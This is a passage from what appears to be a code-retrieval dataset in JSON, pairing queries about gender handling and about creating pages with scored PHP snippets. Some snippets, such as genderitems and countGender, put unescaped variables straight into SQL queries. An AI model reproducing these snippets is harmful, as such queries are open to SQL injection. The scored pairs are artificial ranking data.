in the ID number do not match\",\n array(\n \"genderProvided\" => $gender,\n \"genderInIdNumber\" => $this->gender\n )\n );\n }\n \n if (intval($this->gender) < 5000 && strtolower($gender) === \"male\"){\n throw new IdValidationException(\"The gender provided and the gender indicator in the ID number do not match\",\n array(\n \"genderProvided\" => $gender,\n \"genderInIdNumber\" => $this->gender\n )\n );\n }\n }", "title": "" }, { "docid": "252b3ddfd206671833c7e0bf5458ee5d", "score": "0.52645814", "text": "function genderitems($sex)\n{\n\t$get=mysql_query(\"SELECT COUNT(*) FROM items WHERE sex='$sex' \");\n\n\t$rows=mysql_fetch_array($get);\n\n\treturn $rows[0];\n}", "title": "" }, { "docid": "d87fac5380fe69f046f327ab919d3c41", "score": "0.52491087", "text": "public static function getGenders() {\n return [''=>'', 'female'=>'Female', 'male'=>'Male'];\n }", "title": "" }, { "docid": "46e8fa1799d24f0f04023da2e93b0248", "score": "0.5244952", "text": "public function femalefirstname()\r\n {\r\n $direct = getcwd();\r\n $directfirstfemalename = $direct.\"/static/femalefirstnames.txt\";\r\n $female_first_filename = file($directfirstfemalename);\r\n $trimmed_array=array_map('trim',$female_first_filename);\r\n $random_female_first_name=array_rand($female_first_filename);\r\n $female_first_filenamestring = trim(preg_replace('/\\s+/', ' ' , $female_first_filename[$random_female_first_name]));\r\n $female_first_filenamestring = preg_replace('/\\s+/', '', $female_first_filenamestring);\r\n return $female_first_filenamestring;\r\n }", "title": "" }, { "docid": "f86bca4906c8e3265d17a30e74c32319", "score": "0.51697314", "text": "function countGender($gender) {\n\tglobal $con;\n\t$sql = \"SELECT COUNT(*) AS aantal FROM roboshooter where geslacht = '$gender'\";\n\t$result = $con->query($sql);\n\twhile($row = $result->fetch_assoc()) {\n\t\t\techo stripslashes($row['aantal']);\t\n\t\t}\n}", "title": "" }, { "docid": "9ff7c46b58dcec14a13a995d4a6baafb", "score": "0.5165304", "text": "private function sanitizeGender($gender)\n {\n $gender = strtoupper($gender);\n\n return $this->sanitizePresence($gender, self::$genders);\n }", "title": "" }, { "docid": "887cbce47e68c60c40aefed72e3b67d9", "score": "0.514284", "text": "function validateSex($sex){\n //1 male\n //2 female\n if(!empty($sex) && ($sex==0 || $sex==1 || $sex==2)){\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "e78bc980825dd76b876ac2826482f5aa", "score": "0.5141728", "text": "function getGenderFilterValue()\n {\n return $this->__genderfiltervalue ;\n }", "title": "" }, { "docid": "1144b6a76667f823cff96084d0b1483a", "score": "0.5132893", "text": "public function reportSex(){\r\n \treturn array(\r\n\t 'result'=>'true'\r\n\t);\r\n }", "title": "" }, { "docid": "5d5ca46e80b9f54060edf3823d21febb", "score": "0.51191986", "text": "public function get_exam_name();", "title": "" }, { "docid": "06b3fae048065febeec879cce48cac43", "score": "0.51053166", "text": "public function getNameAndTitle(){\n return $this->getTitle() . ' ' .$this->surname;\n }", "title": "" }, { "docid": "4f68501d9040a10a25e574edaf02316e", "score": "0.50901335", "text": "public static function gender($id = null)\n {\n $result = array(\n 0 => self::t('front', \"Male\"),\n 1 => self::t('front', \"Female\"),\n 2 => self::t('front', \"Rather not say\"),\n 3 => self::t('front', \"Other\"),\n );\n return self::arrChoice($result, $id);\n }", "title": "" }, { "docid": "652e50dc79aa9e77b8379655a2f4cea0", "score": "0.5080709", "text": "abstract public function get_title_detailed();", "title": "" }, { "docid": "2beb2fa7ca297c8b8e3652f7d99bda82", "score": "0.5072982", "text": "protected function getOroGender($gender)\n {\n if (is_numeric($gender)) {\n if ($gender == 1) {\n $gender = Gender::MALE;\n }\n if ($gender == 2) {\n $gender = Gender::FEMALE;\n }\n } else {\n $gender = strtolower($gender);\n if (!in_array($gender, [Gender::FEMALE, Gender::MALE], true)) {\n $gender = null;\n }\n }\n\n return $gender;\n }", "title": "" }, { "docid": "97ac9f7177d73ef9d104ab8cb2ce4ad5", "score": "0.50664234", "text": "public static function validatePersonalGender()\n\t{\n\t\treturn array(\n\t\t\tnew Main\\Entity\\Validator\\Length(null, 1),\n\t\t);\n\t}", "title": "" }, { "docid": "756bf42e05337ea16967a343c171dd80", "score": "0.5057144", "text": "function validateGender(&$error, $field_list, $field_name){\r\n if(strcmp($field_list[$field_name],\"no-selection\") == 0){\r\n $error[$field_name] = \"Please select a gender\";\r\n }\r\n}", "title": "" }, { "docid": "e82677fc1849ff23fa6bb1b0b8898d90", "score": "0.50551504", "text": "public function getSex()\n {\n return (intval($this->getSerialPostDelimiter()[2])%2 == 0) ? self::SEX_FEMALE : self::SEX_MALE;\n }", "title": "" }, { "docid": "b785e297a3c57729f6058fc5dcd5c11b", "score": "0.50442344", "text": "public function getXsiTypeName() {\n return \"Gender\";\n }", "title": "" }, { "docid": "60e390116283f7fc3d8b58486af99180", "score": "0.504149", "text": "abstract protected function getTitle();", "title": "" }, { "docid": "1d4ecf0617dacccf9acae831b4cc87a7", "score": "0.5035464", "text": "public function editTitle($titleId, $titleMale, $titleFemale)\n {\n $this->db->query(\n 'UPDATE charactertitles '.\n 'SET title_male = ?, title_female = ? '.\n 'WHERE id = ?',\n 'ssi',\n $titleMale,\n $titleFemale,\n $titleId\n );\n }", "title": "" }, { "docid": "693efbe7b5c349a13c91192616eac5f6", "score": "0.5020282", "text": "public function getGreeting()\n {\n $this->getDisplayRank();\n\n $displayRank = $this->rank_title;\n\n if (isset( $this->rating ) && !empty( $this->rating )) {\n\n $rateGreeting = $this->getRateTitle($this->rank['grade']);\n\n if (isset( $rateGreeting ) === true && empty( $rateGreeting ) === false) {\n $displayRank = $rateGreeting;\n }\n }\n\n return $displayRank;\n }", "title": "" }, { "docid": "46a8beb924c16c36a784a09c2869335a", "score": "0.5019067", "text": "public function setGenderFromCivility()\n\t{\n\t unset($this->gender);\n \tif (in_array($this->civility_id, array('MR'))) {\n \t $this->gender = 'man';\n \t} elseif(in_array($this->civility_id, array('MME','MLE'))) {\n \t $this->gender = 'woman';\n \t}\n\t}", "title": "" }, { "docid": "33742b7c0826dc6363a99b97e2584a00", "score": "0.49952784", "text": "function gender($answer){\n\t\t$name = $answer[0];\n\t\t$name = strtolower($name);\n\t\t$name = preg_replace(\"/[\\s]/\", \"_\", $name);\n\t\t$check = \"images/\".$name.\".jpg\";\n\t\tif (file_exists($check)){\n\t\t\t$link = $check;\n\t\t}\n\t\t//if they don't have a photo, default male or female\n\t\telse{\n\t\t\tif($answer[1] == \"F\"){\n\t\t\t\t$link = \"images/user.png\";\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$link=\"images/userm.png\";\n\t\t\t}\n\t\t}\n\t\treturn $link;\n\t}", "title": "" }, { "docid": "4ecabb76f32f75d55b4f7eeaa476bcd0", "score": "0.4963773", "text": "abstract public function get_title( );", "title": "" }, { "docid": "4c66afe24bddb266c4555f02d25ba49d", "score": "0.49545646", "text": "abstract public function get_title();", "title": "" }, { "docid": "29a9c49d0e0e3d42ab97044524a9fd88", "score": "0.4954465", "text": "public static function get_he_she_pronoun( $user ) {\n $user_gender = $user->get_gender();\n return $user_gender === \"male\" ? \"he\" : \"she\";\n }", "title": "" }, { "docid": "141c5c5d38eac143a33a3dc001233383", "score": "0.49510112", "text": "function total_mark_remark($value)\n {\n if ($value >= 16) {\n $t_remark_var = \"Excellent\";\n } else if ($value >= 14) {\n $t_remark_var = \"Very Good\";\n } else if ($value >= 12) {\n $t_remark_var = \"Good\";\n } else if ($value >= 10) {\n $t_remark_var = \"Satisfactory\";\n } else {\n $t_remark_var = \"Poor\";\n }\n return $t_remark_var; //return remark of lecturer\n }", "title": "" }, { "docid": "af28fd6a723205617db515d4c7cc608b", "score": "0.49507973", "text": "function familyname ($fname, $year) { echo \"$fname Refnses. Born in $year <br>\" ; }", "title": "" }, { "docid": "2f94ad87652097ccba23f28b5f32582c", "score": "0.49484915", "text": "function getTitle();", "title": "" }, { "docid": "9d16b62663481c2bba9ddbfc47f5bd16", "score": "0.49483076", "text": "public function getGenderCriterion()\n {\n $args = new GetGenderCriterion();\n $result = $this->__soapCall(\"getGenderCriterion\", [$args]);\n return $result->rval;\n }", "title": "" }, { "docid": "a9ab7e3c4bd26ce57702577cc9ab10c2", "score": "0.49416", "text": "public function checkGenderValidity($gender,$msg){\n if($gender==null)\n return true;\n if($gender==0 || $gender==1){\n return true;\n }\n else{\n $msg->show(\"your gender is wrong!\");\n return false;\n }\n\n }", "title": "" }, { "docid": "7cab56e309ac5a820ddc30ec7a6cbba5", "score": "0.49379075", "text": "function list_gender_status(){\n\treturn array(\t\n\t\"Male\" => \"Male\",\n\t\"Female\" => \"Female\");\n}", "title": "" }, { "docid": "5ddeecf40629ee30ce63a6f3e6a18314", "score": "0.49280384", "text": "public function getName()\n {\n return 'genderize';\n }", "title": "" }, { "docid": "06560dd44012b31e3f4459acedc803d8", "score": "0.4920136", "text": "function genderarray($name,$type)\n{\n\t//If there are not any items assosiated that show up then display nothing,\n\t//Otherwise show item name and the number of items.\n\tforeach($name as $item)\n\t{\n\t\tif(specific($type,$item)==0)\n\t\t{\n\t\t\tNULL;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$under=\"_\";\n\t\t\t$typelower=strtolower($type);\n\t\t\t$lower=strtolower($item);\n\t\t\tprint \"<a href='?id=$typelower$under$lower'>\";\n\t\t\tprint $item.\" (\".specific($type,$item).\")\";\n\t\t\tprint \"</a>\\n\";\n\t\t}\n\t}\n}", "title": "" }, { "docid": "539e99dd8039ad263c7125dcd1ce82d7", "score": "0.4908491", "text": "function setGender($gender)\n {\n $this->__gender = $gender ;\n }", "title": "" }, { "docid": "5e65dbf36ae53a732487813b99a42f06", "score": "0.49020463", "text": "function classTrans($person,$gender,$quantity,$lenguage=\"es\"){\n\t\tswitch($lenguage){\n\t\t\tcase \"es\":\n\t\t\t\t$gender = strtolower($gender);\n\t\t\t\tswitch ($person.\"-\".$gender[0].\"-\".$quantity) {\n\t\t\t\t\tcase \"1-f-1\":\n\t\t\t\t\t\treturn \"Yo\";\n\t\t\t\t\tcase \"2-f-1\":\n\t\t\t\t\t\treturn \"Tu\";\n\t\t\t\t\tcase \"3-f-1\":\n\t\t\t\t\t\treturn \"Ella\";\n\t\t\t\t\tcase \"4-f-1\":\n\t\t\t\t\t\treturn \"La\";\n\t\t\t\t\tcase \"1-f-n\":\n\t\t\t\t\t\treturn \"Nosotras\";\n\t\t\t\t\tcase \"2-f-n\":\n\t\t\t\t\t\treturn \"Ustedes\";\n\t\t\t\t\tcase \"3-f-n\":\n\t\t\t\t\t\treturn \"Ellas\";\n\t\t\t\t\tcase \"4-f-n\":\n\t\t\t\t\t\treturn \"Las\";\n\t\t\t\t\tcase \"1-m-1\":\n\t\t\t\t\t\treturn \"Yo\";\n\t\t\t\t\tcase \"2-m-1\":\n\t\t\t\t\t\treturn \"Tu\";\n\t\t\t\t\tcase \"3-m-1\":\n\t\t\t\t\t\treturn \"El\";\n\t\t\t\t\tcase \"4-m-1\":\n\t\t\t\t\t\treturn \"El\";\n\t\t\t\t\tcase \"1-m-n\":\n\t\t\t\t\t\treturn \"Nosotros\";\n\t\t\t\t\tcase \"2-m-n\":\n\t\t\t\t\t\treturn \"Ustedes\";\n\t\t\t\t\tcase \"3-m-n\":\n\t\t\t\t\t\treturn \"Ellos\";\n\t\t\t\t\tcase \"4-m-n\":\n\t\t\t\t\t\treturn \"Los\";\n\t\t\t\t}\n\t\t\t\treturn \"\";\n\t\t}\n\t\treturn \"\";\n\t}", "title": "" }, { "docid": "fd0fcd3b0003745eee1f1e04613782dc", "score": "0.4893197", "text": "protected abstract function get_title();", "title": "" }, { "docid": "9a37a95cd8824716baa967d745c93de9", "score": "0.48804587", "text": "function getGenderFilter()\n {\n return $this->__genderfilter ;\n }", "title": "" }, { "docid": "a9f4c8c400203f58988c9ebdc43bc067", "score": "0.4880221", "text": "public function malefirstname()\r\n {\r\n $direct = getcwd();\r\n $directfirstmalename = $direct.\"/static/malefirstnames.txt\";\r\n $male_first_filename = file($directfirstmalename);\r\n $trimmed_array=array_map('trim',$male_first_filename);\r\n $random_male_first_name=array_rand($male_first_filename);\r\n $male_first_filenamestring = trim(preg_replace('/\\s+/', ' ' , $male_first_filename[$random_male_first_name]));\r\n $male_first_filenamestring = preg_replace('/\\s+/', '', $male_first_filenamestring);\r\n return $male_first_filenamestring;\r\n }", "title": "" } ]
a7d12b8dd19cb56ed1e62f3d29f1bb73
The function that do Create new Page
[ { "docid": "8aa6b7e2f5aacbbff8efc9edfc03d955", "score": "0.0", "text": "public function actionCreate()\n\t{ \n\t\n\t\t$this->render('gallery_create');\n\t}", "title": "" } ]
[ { "docid": "b605a572cf4f1abdb81122f87e9241a3", "score": "0.78332704", "text": "function CreatePage() {\n $page = DataObject::get_one('CreatePage');\n if (!$page) {\n user_error('Cannot find the Create Page. Please create one in the CMS!', E_USER_ERROR);\n }\n return $page->Link();\n }", "title": "" }, { "docid": "b04d70ad3728a6c02551ec3bfb949d2e", "score": "0.7826299", "text": "public function newpage() {\n\t\t$page_title = array('Admin - New Page');\n\t\t$page = array( new Page );\n\t\trequire('views/admin/addpage.html');\n\t}", "title": "" }, { "docid": "9022167c5cf1160816b2ace6fea47715", "score": "0.7793032", "text": "function wbbm_page_create()\n {\n if (!wbbm_get_page_by_slug('bus-search')) {\n $bus_search_page = array(\n 'post_type' => 'page',\n 'post_name' => 'bus-search',\n 'post_title' => 'Bus Search',\n 'post_content' => '[bus-search]',\n 'post_status' => 'publish',\n );\n wp_insert_post($bus_search_page);\n }\n if (!wbbm_get_page_by_slug('view-ticket')) {\n $view_ticket_page = array(\n 'post_type' => 'page',\n 'post_name' => 'view-ticket',\n 'post_title' => 'View Ticket',\n 'post_content' => '[view-ticket]',\n 'post_status' => 'publish',\n );\n wp_insert_post($view_ticket_page);\n }\n }", "title": "" }, { "docid": "731e708730f536dec42659b98332eee0", "score": "0.77866554", "text": "public function createPage ()\n {\n include \"vu/create.php\";\n }", "title": "" }, { "docid": "cc0b887d1e1d7b34f76ea19ca0e5fea6", "score": "0.77674365", "text": "private function createPage()\n {\n return $this->pageFactory->create();\n }", "title": "" }, { "docid": "4b3117171a644fd0c833c8356e12c813", "score": "0.7732031", "text": "public static function createPage()\n {\n // Name is required\n if(!isset($_POST['name'])) Status::message(Status::ERROR, \"At least specify a name\");\n if(!isset($_POST['path'])) Status::message(Status::ERROR, \"At least specify a path\");\n if(!isset($_POST['icon'])) Status::message(Status::ERROR, \"At least specify a icon\");\n if(!isset($_POST['parent'])) Status::message(Status::ERROR, \"At least specify a parent\");\n\n // Add the session state\n $res = DatabaseManager::query(\"main\",\n \"INSERT INTO `admin_pages` (name, path, icon, parent) VALUES (:name, :path, :icon, :parent)\", $_POST);\n if(!$res) Status::message(Status::ERROR, \"Couldn't insert into the DB\");\n\n // Refresh Cache to apply changes\n CacheManager::loadDefaults(true);\n Status::message(Status::SUCCESS, \"Added Successfully! :)\");\n }", "title": "" }, { "docid": "afade1172e5908ceb9152f62c239968f", "score": "0.7675791", "text": "public function newPageFromType();", "title": "" }, { "docid": "319df444df0312b7cbecea2518377274", "score": "0.7654601", "text": "public function actionCreatePage()\n {\n $this->menuFlush();\n $model = new Nav();\n $fromDraft = $this->postArg('use_draft');\n $parentNavId = $this->postArg('parent_nav_id') ?: null;\n $navContainerId = $this->postArg('nav_container_id');\n\n if (!empty($parentNavId)) {\n $navContainerId = Nav::findOne($parentNavId)->nav_container_id;\n }\n\n if (!empty($fromDraft)) {\n $create = $model->createPageFromDraft($parentNavId, $navContainerId, $this->postArg('lang_id'), $this->postArg('title'), $this->postArg('alias'), $this->postArg('description'), $this->postArg('from_draft_id'), $this->postArg('is_draft'));\n } else {\n $create = $model->createPage($parentNavId, $navContainerId, $this->postArg('lang_id'), $this->postArg('title'), $this->postArg('alias'), $this->postArg('layout_id'), $this->postArg('description'), $this->postArg('is_draft'));\n }\n\n if (is_array($create)) {\n Yii::$app->response->statusCode = 422;\n }\n\n return $create;\n }", "title": "" }, { "docid": "952c42cdb12c5c425899ce68134b5c75", "score": "0.7447944", "text": "function CreatePage()\r\n\t{\r\n\t //Ajout des controls au formulaire\r\n\t $this->Form->AddNew($this->GridElements);\r\n\t $this->Form->AddNew($this->LinkBlock,\"2\",ALIGNRIGHT);\r\n\t $this->Form->AddNew($this->BtnSave,\"2\",ALIGNRIGHT);\r\n\r\n\t //Ajout des controls � la page\r\n\t $this->Core->Page->Insert(CENTER,$this->Form);\r\n\t }", "title": "" }, { "docid": "ffda303b70024b68dcf0d6a3939607e0", "score": "0.74072915", "text": "public function createPageAction()\n {\n $view = new View('createAccountPage');\n echo $view->render();\n }", "title": "" }, { "docid": "50bd89cdde82c35ce367bfa2c3ada925", "score": "0.7405708", "text": "public static function create()\n {\n if(isset($_POST['create_page']) && Html::form()->validate())\n {\n $pageId = Page::page()->insert(array(\n 'page_id' => $_POST['page_id'],\n 'user_id' => User::current()->id,\n 'slug' => String::slugify($_POST['title']),\n 'title' => $_POST['title'],\n 'body' => $_POST['body']\n ));\n\n if($pageId)\n {\n Message::ok('Page created successfully.');\n $_POST = array(); // Clear form\n }\n else\n Message::error('Error creating page. Please try again.');\n }\n\n // Either get all pages or only current users pages based on permission\n if(!User::current()->hasPermission('page.manage'))\n $pages = Page::page()->where('user_id', '=', User::current()->id)->all();\n else\n $pages = Page::page()->all();\n\n // Indent pages based on their parent for a tree-style display in dropdown menu\n MultiArray::load($pages, 'page_id');\n $indentedPages = MultiArray::indent();\n $arrPages = array(0 => '-');\n\n // Form build required array for select options, create options from indented pages\n foreach($indentedPages as $page)\n $arrPages[$page->id] = $page->indent . $page->title;\n\n $fields[] = array(\n 'fields' => array(\n 'page_id' => array(\n 'title' => 'Parent',\n 'type' => 'select',\n 'options' => $arrPages\n ),\n 'title' => array(\n 'title' => 'Title',\n 'type' => 'text',\n 'validate' => array('required')\n ),\n 'body' => array(\n 'title' => 'Body',\n 'type' => 'textarea',\n 'attributes' => array('class' => 'tinymce')\n ),\n 'create_page' => array(\n 'value' => 'Create Page',\n 'type' => 'submit',\n )\n )\n );\n\n return array(\n array(\n 'title' => 'Create Page',\n 'content' => Html::form()->build($fields)\n )\n );\n }", "title": "" }, { "docid": "4f819f5630371f152ade5282ec2a1fc5", "score": "0.7395677", "text": "public function actionCreate()\n {\n $model = new Page();\n $model->catid = Category::defCat()->id;\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "b03f31721bf22ad7246c10485210349e", "score": "0.73590744", "text": "public function create()\n {\n //\n return view('pages.design.create_page');\n }", "title": "" }, { "docid": "8f05ff04b0883c64fc6f874f1bc95bdd", "score": "0.73495173", "text": "public function actionCreate()\n {\n $model = new Page;\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "b2ffdb2f6ad5c75423a777a4867bd6ca", "score": "0.7347246", "text": "public function create()\n\t{\n\t\treturn view('admin.pages.create') ;\n\t}", "title": "" }, { "docid": "d42c03bbe21f978d4e87b68db66684b9", "score": "0.7318105", "text": "public function actionCreate()\n {\n $model = new Page();\n \n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect([\n 'view',\n 'id' => $model->id\n ]);\n }\n \n return $this->render('create', [\n 'model' => $model\n ]);\n }", "title": "" }, { "docid": "801d5ff5ea016af1c76abdc31faa18c7", "score": "0.73147714", "text": "public function pages_create() {\n\n $page_details = new Page;\n\n return view('new_admin.pages.create')\n ->with('page' , 'pages')\n ->with('sub_page',\"pages-create\")\n ->with('page_details', $page_details);\n }", "title": "" }, { "docid": "bd1bf00c982aa62f1d9cc048eeb8c7a5", "score": "0.7309896", "text": "public static function create()\n\t{\n\t\t$page = \"Main\";\n\n\t\t// check the requested page title for safety and sanity\n\t\t\n\t\t$pathinfo = explode('/', WebRequest::pathInfo());\n\t\t$pathinfo = array_values(array_filter($pathinfo));\n\t\tif(\n\t\t\tcount($pathinfo) >= 1 &&\n\t\t\t$pathinfo[0] != \"\" && // not empty\n\t\t\t(! preg_match( \"/[^a-zA-Z0-9]/\", $pathinfo[0] ) ) // contains only alphanumeric chars\n\t\t\t)\n\t\t{ //if\n\t\t\t$page = $pathinfo[0];\n\t\t} // fi\n\t\t\n\t\t// okay, the page title should be reasonably safe now, let's try and make the page\n\t\t\n\t\t$pagename = \"Page\" . $page;\n\t\t\n\t\tglobal $cIncludePath, $gLogger;\n \n $filepath = self::findPageFile($pagename);\n \n \n\t\tif($filepath !== false)\n\t\t{ // found it.\n\t\t\trequire_once($filepath);\n\t\t}\n\t\telse\n\t\t{\t// oops, couldn't find the requested page, let's fail gracefully.\n $extensionContent = self::getExtensionContent( $page );\n if( $extensionContent !== null ) {\n return $extensionContent; \n }\n \n\t\t\t$pagename = \"Page404\";\n\t\t\t$filepath = $cIncludePath . \"/Page/\" . $pagename . \".php\";\n\t\t\trequire_once($filepath);\n\t\t}\t\n\n\t\tif(class_exists($pagename))\n\t\t{\n\t\t\t$pageobject = new $pagename;\n\t\t\t\n\t\t\tif(get_parent_class($pageobject) == \"PageBase\")\n\t\t\t{\n\t\t\t\tHooks::run(\"CreatePage\", array($pageobject));\n\t\t\t\t$gLogger->log(\"Page object created.\");\n\t\t\t\n\t\t\t\tif(! $pageobject->isProtected())\n\t\t\t\t{\n\t\t\t\t\t$gLogger->log(\"Page object not protected.\");\n\t\t\t\t\n\t\t\t\t\treturn $pageobject;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$gLogger->log(\"Page object IS protected.\");\n\t\t\t\t\n\t\t\t\t\tif(Session::isLoggedIn())\n\t\t\t\t\t{\t\n\t\t\t\t\t\t$gLogger->log(\"Session is logged in\");\n\n\t\t\t\t\t\tHooks::register(\"PreRunPage\", \n\t\t\t\t\t\t\tfunction($parameters)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tPageBase::checkAccess($parameters[1]->getAccessName());\n\t\t\t\t\t\t\t\treturn $parameters[0];\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\n\t\t\t\t\t\t$pageobject = Hooks::run(\"AuthorisedCreatePage\", array($pageobject));\n\t\t\t\t\t\n\t\t\t\t\t\treturn $pageobject;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{ // not logged in\n\t\t\t\t\t\t$gLogger->log(\"Session NOT logged in\");\n\n\t\t\t\t\t\trequire_once($cIncludePath . \"/Page/PageLogin.php\");\n\t\t\t\t\t\treturn new PageLogin();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// defined, but doesn't inherit properly, so we can't guarentee stuff will work.\n\t\t\t\tthrow new Exception();\n\t\t\t}\n\t\t}\n\t\telse \n\t\t{\n\t\t\t// file exists, but the class \"within\" doesn't, this is a problem as stuff isn't where it should be.\n\t\t\tthrow new Exception();\n\t\t}\n\t}", "title": "" }, { "docid": "b00d18ca602b09177919bef804c481ae", "score": "0.7274496", "text": "public function create()\n {\n return view (\"pages.create\");\n }", "title": "" }, { "docid": "9cc56c4c8591eab9e33e52570e6defba", "score": "0.7261019", "text": "public function actionCreate()\n {\n $model = new Page();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['/page/admin']);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "7e3336548b46fa9e19ac9e9ddaae8d8e", "score": "0.7241865", "text": "public function wp_newPage(/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */\n$args) {}", "title": "" }, { "docid": "7817b4023b0fd5eddc17483a1d4c47c6", "score": "0.7165734", "text": "public static function create(){\n if(Session::isAdmin()) {\n // Le titre de la page\n $pageTitle = \"Ajout d'un produit\";\n // La vue désirée\n $view = 'create.php';\n // On requière notre vue\n require File::buildPath('view','view.php');\n } else {\n ControllerUser::eligibilityError();\n }\n }", "title": "" }, { "docid": "829622190f773730c255bb5361eb3a75", "score": "0.7163576", "text": "public function create()\n {\n //\n return view('back.page.create');\n }", "title": "" }, { "docid": "a5c7951d3aa9cb0fc4bb0b716e865b8b", "score": "0.7162661", "text": "public function create()\n {\n $page = new Page;\n $page_last_id = $page->create([\n 'user_id' => Auth::id()\n ])->id;\n\n return Redirect::action(\n 'PageController@edit', ['id' => $page_last_id]\n );\n }", "title": "" }, { "docid": "8ae15ea2cc072b14de86afd0dfee27d0", "score": "0.71555996", "text": "public function testPageNodeCreate() {\n $this->newNodeCreateTest('page');\n }", "title": "" }, { "docid": "f8133863930a82e3efebc9f3d9d12aed", "score": "0.7137558", "text": "function create_page($param)\r\n\t\t{\r\n\t\t\tglobal $db;\r\n\t\t\t$name = mysql_clean($param['page_name']);\r\n\t\t\t$title = mysql_clean($param['page_title']);\r\n\t\t\t$content = addslashes($param['page_content']);\r\n\r\n\t\t\tif(empty($name))\r\n\t\t\t\te(lang(\"page_name_empty\"));\r\n\t\t\tif(empty($title))\r\n\t\t\t\te(lang(\"page_title_empty\"));\r\n\t\t\tif(empty($content))\r\n\t\t\t\te(lang(\"page_content_empty\"));\r\n\r\n\t\t\tif(!error())\r\n\t\t\t{\r\n\t\t\t\t$db->insert(tbl($this->page_tbl),array(\"page_name\",\"page_title\",\"page_content\",\"userid\",\"date_added\",\"active\"),\r\n\t\t\t\t\t\t\t\t\t\t\t\t array($name,$title,\"|no_mc|\".$content,userid(),now(),\"yes\"));\r\n\t\t\t\te(lang(\"new_page_added_successfully\"),\"m\");\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}", "title": "" }, { "docid": "00d7ec370083f13ac00292a1a1b41a9b", "score": "0.7120416", "text": "function _add_page()\n\t{\n\t\t$title=get_page_title('CEDI_ADD_PAGE');\n\n\t\tcheck_submit_permission('cat_low');\n\n\t\t$id=cedi_add_page(post_param('title'),post_param('post'),post_param('notes',''),post_param_integer('hide_posts',0));\n\t\trequire_code('permissions2');\n\t\tset_category_permissions_from_environment('seedy_page',strval($id),'cms_cedi');\n\n\t\trequire_code('fields');\n\t\tif (has_tied_catalogue('seedy_page'))\n\t\t{\n\t\t\tsave_form_custom_fields('seedy_page',strval($id));\n\t\t}\n\n\t\tif (addon_installed('awards'))\n\t\t{\n\t\t\trequire_code('awards');\n\t\t\thandle_award_setting('seedy_page',strval($id));\n\t\t}\n\n\t\trequire_code('autosave');\n\t\tclear_ocp_autosave();\n\n\t\t// Show it worked / Refresh\n\t\t$url=get_param('redirect',NULL);\n\t\tif (is_null($url))\n\t\t{\n\t\t\t$_url=build_url(array('page'=>'cedi','type'=>'misc','id'=>($id==db_get_first_id())?NULL:$id),get_module_zone('cedi'));\n\t\t\t$url=$_url->evaluate();\n\t\t}\n\t\treturn redirect_screen($title,$url,do_lang_tempcode('SUCCESS'));\n\t}", "title": "" }, { "docid": "98413b9a6597bfc4ca7ef8ecf0d58a54", "score": "0.710826", "text": "public function createThemePages(){\n\t\t$pagesToCreate = [ 'hotels', 'reservations', 'rates', 'login', 'new reservation', 'edit reservation', 'confirmation', 'new hotel', 'edit hotel', 'edit rates' ];\n\n\t\tif(count($pagesToCreate) > 0){\n\t\t\tforeach( $pagesToCreate as $pageID ){\n\t\t\t\t$slug = sanitize_title_with_dashes($pageID);\n\t\t\t\t$pageExists = Lrsgen::the_slug_exists($slug);\n\t\t\t\t\n\t\t\t\tif(!$pageExists){\n\t\t\t\t\t$result = wp_insert_post(array(\n\t\t\t\t\t\t'post_type' => 'page',\n\t\t\t\t\t\t'post_title' => ucfirst($pageID),\n\t\t\t\t\t\t'post_content' => '',\n\t\t\t\t\t\t'post_status' => 'publish',\n\t\t\t\t\t\t'post_author' => 1,\n\t\t\t\t\t\t'post_slug' => $slug\n\t\t\t\t\t));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "58d18e1698002142009e2f5638a94f80", "score": "0.7106199", "text": "public function newPage($name,$positie,$zichtbaar,$template){\n $table = 'pages';\n $data['Naam'] = $name;\n $data['Positie'] = $positie;\n $data['Zichtbaar'] = ($zichtbaar) ? 1 : 0;\n $data['tID'] = $template;\n return $this->reg->database->insert($table,$data);\n }", "title": "" }, { "docid": "c157e59c5c4b157340ba6bd245152d8f", "score": "0.7079517", "text": "public function testShouldCreatePage()\n {\n // Given\n $this->im_logged_in();\n\n // And\n $this->i_visit_url('admin/pages/create');\n\n // Then\n $this->i_expect_to_create_the_page([\n 'title' => 'A New Page',\n 'slug' => 'a-new-page',\n 'lean_content' => 'The lean content',\n 'content' => 'The whole content',\n ]);\n\n // When\n $this->i_submit_form_with('form', [\n 'title' => 'A New Page',\n 'slug' => 'a-new-page',\n 'lean_content' => 'The lean content',\n 'content' => 'The whole content',\n ]);\n }", "title": "" }, { "docid": "46805e323d483f1df77433230b3561dc", "score": "0.7078739", "text": "public function execute() {\r\n $page = $this->pageFactory->create();\r\n $page->getConfig()->getTitle()->prepend(__('NIIT Demo'));\r\n //print_r($page);die;\r\n return $page;\r\n // return page\r\n // goi sang trang layout cho lam viec\r\n }", "title": "" }, { "docid": "58b22c223496715ed4aa62d417b1f714", "score": "0.7061389", "text": "public function create()\n {\n return view('admin.pages.add_page');\n }", "title": "" }, { "docid": "0daed8fee2608580aa88ab2a34b90aba", "score": "0.70573026", "text": "public function create()\n\t{\n\t\t$datas = Page::orderBy('id', 'desc')->get();\n\t\treturn view(\"Pages::admin.\".$this->theme.\".create\")\n\t\t->with('headName', $this->headName)\n\t\t->with('pages', $datas);\n\t}", "title": "" 